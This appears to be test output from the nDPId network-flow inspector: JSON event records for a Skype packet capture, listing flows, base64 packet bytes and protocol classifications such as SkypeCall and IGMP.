+00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.152","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.167","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.144","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.162","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.156","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00514{"flow_id":120,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":241980,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABswt9AAEAG+FXAqAEib91Nr8gyAbuh2H4oZdpOV4AYECyHZwAAAQEICj4x8gNNo+P8rykSL\/YNWXmmSdsJysigGnvSxhmV7qYqIM+fUQQnb8UpRj+FOZcGRraAYWqHRq8j3tnIqulYKJg="} +00533{"flow_id":108,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":252159,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"0NQSxnP1PBXCt3IOCABFAAB5WsVAAEAGTIvAqAEinTg0LMgvAbu6eq6k7rH\/TIAYECx1VAAAAQEICj4x8g1MaAB9rs4rj\/Zn4y1sqwdIy3afkOEmLBspD4c0rMSeRLd9b91SLsTSeHa0jfo08XXIbE1KDwebW7o1FbLX0Wq5X\/ZmIfUdu0eE"} +00522{"flow_id":74,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":635440,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxpVZAAEAGswHAqAEiQTffLcgnAbvOrma7ApkXD4AYECxL2wAAAQEICj4x84xNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00448{"flow_id":121,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":684588,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8v89AAEAGYXjAqAEiQAQXpsgznF2bjnl5scFgjYAYECnmaQAAAQEICj4x871MQvGckklqarCuvYw="} +00466{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":705015,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLomMAAEARVMvAqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00466{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":705101,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL2k0AAEARHOHAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":864,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.172","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":864,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":914582,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+nlYAAEARkRrAqAEi1cezrDLdnEsAKjxNe1kCd7pyWFY\/2XtrOx7QzlcFNoQgfV3dFZmCGAMb34HK5w=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":864,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.172","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":865,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":914582,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3jiIAAEAR0y7AqAEiQAQXlzLdnF0AI+cqe1sCynRK6RblWzdW13\/d3OH7SI3y+M61XQ85"} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":865,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00448{"flow_id":61,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970662,"pkt_ts_usec":966772,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8xIdAAEAG+l\/AqAEib91KLcgknEjYMAoJdih2JIAYECk4DQAAAQEICj4x9NdNh6yILYCuK5us2zw="} +00520{"flow_id":130,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":867,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":47901,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxXIpAAEAGxIjAqAEiQAQXpsg1Abs0yMstLkeiTIAYECzQQwAAAQEICj4x9ShMQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00531{"flow_id":81,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":290033,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3DI9AAEAGTEDAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECz+AQAAAQEICj4x9hhOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00450{"flow_id":97,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":424188,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8lU1AAEAGEkDAqAEinTg0LMgunFRemxVvo\/vFuIAYECqHtAAAAQEICj4x9p5MZ\/7lUZ\/2f58qofY="} +00691{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":754371,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtK5ZAAEAGEzfAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECy\/9wAAAQEICj4x9+jsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":871,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.176","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":923214,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3FyoAAEARSg7AqAEiQAQXsDLdnEEAI4rRe10CzbovR94s4Zxf8rLQnBsqBqSn7dHSA+Hg"} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":871,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.176","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":872,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":872,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":923214,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6rCQAAEAR7PjAqAEinTeClDLdnFMAJgbKe18CYcW5TKiM44ghnCPOJzkfQkjh9HCzfXzFFif7"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":872,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":873,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970663,"pkt_ts_usec":923286,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8YPIAAEARzyHAqAEinTfrmzLdnFsAKKqoe2ECDwqATU5QUcdDsP2+OoC0sJan4F5erjlhYCY+cbA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":873,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":140615,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8b7ZAAEAGN+fAqAEinTg0HMgdnEkK2QS07hN6BYAZECmVhAAAAQEICj4x+WpMX+qKABUsdMFxBVE="} +00521{"flow_id":130,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":247785,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABx5GdAAEAGPKvAqAEiQAQXpsg1Abs0yMstLkeiTIAYECzLlgAAAQEICj4x+dVMQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00516{"flow_id":120,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":347166,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsIKZAAEAGmo\/AqAEib91Nr8gyAbuh2H4oZdpOV4AYECx\/MwAAAQEICj4x+jdNo+P8rykSL\/YNWXmmSdsJysigGnvSxhmV7qYqIM+fUQQnb8UpRj+FOZcGRraAYWqHRq8j3tnIqulYKJg="} +00442{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":878,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431970664361,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00410{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":361045,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAABoPPBbTu2CABGwAAgAAAAAAECgnDAqAD+4AAAAZQEAAARZO6bAAAAAA=="} +00474{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":878,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431970664361,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00518{"flow_id":75,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":578394,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuB+1AAEAGtsjAqAEib91KLcgoAbtIes\/7DU2rDIAYECxPmgAAAQEICj4x+x5Nh64VXoBGQFpplMys2JWIO4+I29OA4cPWkJJGByBiX+YJVXNQ2TREXlwyKhu2PLot6b6UkyYNEZ8cQhCRbQ=="} +00444{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":880,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431970664698,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.229","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":698567,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":8,"pkt":"PBXCt3IOtPCr0yf4CABGAAAg8JwAAAECkLLAqAHl4AAA+5QEAAAWAAkE4AAA+wAAAAAAAAAAAAAAAAAA"} +00476{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":880,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431970664698,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.229","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":881,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":878431,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/kL8AAEARaq3AqAEib91NmjLdnFEAK0H5e2MCFDnpGlF82iGY4eNpUibWNoDaPXvzzVnf0YiL6zK2YSk="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":881,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":882,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 